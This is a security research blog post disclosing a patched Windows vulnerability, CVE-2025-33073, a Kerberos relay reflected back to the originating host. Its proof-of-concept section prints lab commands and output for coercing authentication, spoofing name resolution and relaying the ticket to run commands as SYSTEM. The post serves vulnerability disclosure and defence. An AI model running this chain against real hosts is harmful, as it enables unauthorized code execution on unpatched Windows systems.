RedTeam Pentesting Blog

RedTeam Pentesting GmbH - Blog

11 June 2025

A Look in the Mirror - The Reflective Kerberos Relay Attack

It is a sad truth in IT security that some vulnerabilities never quite want to die and time and time again, vulnerabilities that have long been fixed get revived and come right back at you. While researching relay attacks, the bane of Active Directory, we accidentally revived the reflective relay attack. Since 2008 with MS08-068, it is impossible to relay back NTLM messages to the host they were initiated from. In 2025 we asked ourselves: What if we try it with Kerberos, instead?

As it turns out, this question led to the discovery of the Reflective Kerberos Relay Attack. It not only bypasses the restrictions put in place for NTLM reflection but it also exploits a privilege-escalation vulnerability. If you can coerce any Windows host to authenticate back to you via SMB, you can relay the computer account’s Kerberos ticket back to the host and obtain NT AUTHORITY\SYSTEM privileges and thereby Remote Code Execution.

A patch for this vulnerability was released as part of Patch Tuesday on 10th June 2025.

Kerberos, the three-headed dog looking into a mirror

CVE-2025-33073 - The Reflective Kerberos Relay Attack

The Reflective Kerberos Relay Attack is a technique to exploit the vulnerability CVE-2025-33073 that was discovered by RedTeam Pentesting in January 2025. We have disclosed the vulnerability to Microsoft in form of an extensive whitepaper that we have now published on our website alongside our advisory. As a part of Patch Tuesday, mitigations have been rolled out on 10th June 2025. With this blog post, we want to take the opportunity to summarize the issue in a shorter format and express some of our thoughts about it.

The principle behind the attack is that we coerced a Windows host to connect to our attack system via SMB and authenticate via Kerberos. The Kerberos ticket is then relayed back to the same host again via SMB. Since coercion generally results in authentication of the respective computer account, we expected to obtain a low-privileged SMB session with the privileges of said computer account. Instead, however, the resulting SMB session had high-privileged NT AUTHORITY\SYSTEM privileges that are sufficient to execute arbitrary commands.

Schematic Depiction of the Reflective Kerberos Relay Attack
Schematic Depiction of the Reflective Kerberos Relay Attack

The concept does sound quite simple, even though the results turned out to be rather surprising. In practice, however, there were quite some hurdles that needed to be overcome for this attack to work. In our whitepaper we go over each of these hurdles and the implications in detail, but here is the gist:

  • Authentication Coercion: The attack begins with authentication coercion. This is a well-known technique that allows low-privileged accounts to connect a Windows host via DCERPC and coerce it to connect and authenticate to the attack system with its computer account. We have described the theory behind this technique as well as the currently available techniques in our previous blog post: The Ultimate Guide to Windows Coercion Techniques in 2025. It is very important to understand the limitations of the coercion techniques, because these limitation dictate which hosts end up being vulnerable for the Reflective Kerberos Relay Attack in practice.
  • Decoupling of Coercion Target and Service Principal Name: Coercing Kerberos authentication is not as easy as it sounds. If we coerce a connection to the attack system, Kerberos is only used when the attack system has its own Service Principle Name, and in this case, the ticket would be rejected if we relay it back. This is where the CredUnmarshalTargetInfo/CREDENTIAL_TARGET_INFORMATIONW trick comes into play, which was pioneered by James Forshaw from Google Project Zero. This allows us to register a hostname pointing to the attack system that causes Kerberos Tickets to be issued for an entirely different host. Using this technique, we are able to receive a Kerberos ticket intended for the same host it originated from.
  • Bypassing NTLM Prioritisation: Due to the aforementioned trick, Windows seems to think it is connecting to itself and in this case, NTLM is actually prioritised over Kerberos. Therefore, we needed to modify krbrelayx to advertise that it is not capable of NTLM at all to force Kerberos authentication. You can find the diff in our paper.

PoC Or It Didn’t Happen!

This finally leaves us with a suitable ticket that can be relayed back to the host. Let’s see how it looks in practice:

The first step is authentication coercion. In this example we use our own brand-new tool wspcoerce against client1, but you should take a look at our previous blog post for alternative techniques:

$ wspcoerce 'lab.redteam/user1:KojbyRyibdinWom)@client1.lab.redteam' \
    file:////client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA/path
Impacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra

[*] Connected to IPC$
[*] Opened MsFteWds pipe
[*] Sent WSP Connect
[*] Sent WSP Query
[*] Sent WSP Disconnect

Note that the target includes the hostname client1 in addition to the Base64-encoded CREDENTIAL_TARGET_INFORMATIONW. This causes client1 to request a service ticket for itself and send it to wherever the entire hostname resolves to. You can read more about this neat technique here. In any case, we have to make sure that the entire abomination of a hostname resolves to our attack system. We can do this by registering it ourselves at the Active Directory Integrated DNS or simply use pretender to answer local name resolution queries (check out our blog post about pretender to learn more):

$ sudo pretender -i eth1 --no-dhcp-dns --no-timestamps \
    --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA*'
Pretender by RedTeam Pentesting v1.3.2-74e629fcc5
Listening on interface: eth1
IPv4 relayed to: 192.168.56.11
IPv6 relayed to: fe80::a00:27ff:fe89:bdac
Answering queries for: *1uwhrcaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaybaaaa*

[mDNS] listening via UDP on [ff02::fb%eth1]:5353
[NetBIOS] listening via UDP on 192.168.56.255:137
[LLMNR] listening via UDP on [ff02::1:3%eth1]:5355
[mDNS] listening via UDP on 224.0.0.251:5353
[LLMNR] listening via UDP on 224.0.0.252:5355
[...]
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by 192.168.56.10 (client1.lab.redteam)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by 192.168.56.10 (PCSSystemtec)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by 192.168.56.10 (client1.lab.redteam)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by 192.168.56.10 (client1.lab.redteam)

And finally we can relay the ticket back to client1 and execute code as NT AUTHORITY\SYSTEM with the patched version of krbrelayx.py (you can find the small diff in our paper):

$ krbrelayx.py --target smb://client1.lab.redteam -c whoami
[...]
[*] SMBD: Received connection from 192.168.56.10
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Executed specified command on host: client1.lab.redteam
nt authority\system

[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

But Why?

Unfortunately, we are not quite sure why this subsequently results in a privilege escalation, but we have some theories. However, be warned, we did not actually reverse-engineer or debug anything to make sure that these theories are actually correct.

Windows has a safeguard for local loopback authentication, that links the Kerberos ticket back to the process that created it. This is necessary to prevent local users from bypassing UAC as described here by James Forshaw. Basically, it prevents a user with a UAC-restricted token from performing loopback network authentication to the local host to spawn a process with a fresh, non-restricted token. By linking the authentication to the origin process, the original restricted token can be re-used and the UAC restrictions stay in place.

In case of the Reflective Kerberos Relay Attack however, this concept is turned around instead. Here, the high-privileged NT AUTHORITY\SYSTEM account performs authentication with the credentials of the low-privileged client1$ computer account. Windows seems to be a bit confused by this attack and thinks that we’re doing loopback authentication because the SPN references its own hostname. As a result, the two structures (KERB_AD_RESTRICTION_ENTRY and KERB_LOCAL) that link the ticket to the original process are included in the ticket. And what happens after authentication with the low-privileged client1$ account if the process token of the original process is re-used, instead of creating a fresh one? Right, we inherit NT AUTHORITY\SYSTEM privileges! We’ve abused the privilege escalation mitigation to escalate privileges.

AuthorizationData from the reflected AP_REQ in Wireshark
AuthorizationData from the reflected AP_REQ in Wireshark

At least, that’s our theory.

So Who Is Vulnerable?

As mentioned before, the vulnerability was addressed in Microsoft’s Patch Tuesday fixes on 10th June. We did not have the opportunity to test the mitigations employed by Microsoft and we have no idea what exactly they did to fix it. If you have any information please get in touch, for example on Mastodon, Bluesky, email, or X/Twitter.

We still want to give an overview of the pre-patch situation to allow you to judge the criticality:

We were able to reproduce this vulnerability on Windows 10, 11 as well as Server 2019 through 2025. We are not aware of any version that is not vulnerable. However, vulnerable and exploitable are two different things. In order to actually exploit this vulnerability, both coercion and SMB relaying must be possible.

In our previous blog post we go into detail about which coercion techniques work against which Windows version. The gist is that SMB coercion should always work reliably for all clients as well as servers older than 23H2. For servers with 23H2 or newer, it may or may not work, depending on other circumstances.

SMB relaying is possible unless server-side SMB signing is enforced. For clients, it is enforced by default since Windows 11 24H2 but on servers it is only enforced by default on domain controllers.

Takeaways

We are now seeing more and more relay-based Kerberos attack vectors based on the groundwork of the Kerberos Relaying godfather James Forshaw. Based on this groundwork, many attack implementations have surfaced in recent years. After Dirk-jan Mollema implemented the DNS Dynamic Update attack vector, it was only a matter of time until the CredUnmarshalTargetInfo trick and LLMNR spoofing for SPN confusion were implemented. These attacks, together with the resurgence of reflective relay attacks using Kerberos, strongly suggest that there is still much to learn about Kerberos relaying. We’re looking forward to doing and reading a lot more research about this topic in the future, especially when NTLM will finally be deprecated. Remember: What is true for NTLM is not necessarily true for Kerberos.

Another takeaway is that it has become increasingly clear that it is not sufficient to abolish NTLM and call it a day. All of the small mitigations like SMB or LDAP signing, Channel Binding and EPA that have been used to patch the leaks in the sinking ship that is NTLM turn out to be pretty important for Kerberos, too. Microsoft has also been busy enabling more and more of these features by default in newer Windows versions. If you are working on securing your Windows domain, it is therefore a good idea to be proactive. You should not only prepare to disable NTLM yourself, but also to enable security features yourself as soon as possible. New vulnerabilities will be discovered in Windows all the time, but there is a good chance that they will not be exploitable in your domain even before a patch is live. And before you go and check your security settings, remember that the server-side signing policy is significantly more important than the client-side policy.

Finally, we want to talk about our disclosure experience. Some researchers had some disagreements with Microsoft in the past as demonstrated most recently with the dMSA vulnerability which Akamai disclosed in their brilliant blog post BadSuccessor. However, our experience with our disclosure through MSRC was positive. Microsoft has acknowledged the issue, assigned a severity that we feel is appropriate and they released a patch within our 3 months disclosure policy. Unfortunately, a bug bounty was initially denied on the basis that it would fall into the Windows Insider Preview Bounty Program and the vulnerability is not exploitable by default. This is because server-side SMB signing is enabled by default on Windows 11 Insider Preview. We asked them to reconsider as we suspect that the vulnerability may not be specific to SMB but to Kerberos in general and the SMB signing configuration only affects the attack vector we pursued in our research as it is most likely to be exploited. Surprisingly, this prompted Microsoft to re-evaluate their stance on the bug bounty and to promise us a reward of $5000. Overall, we think that this is an example of a great and successful disclosure process and we had the impression that folks at Microsoft actually listened to our arguments.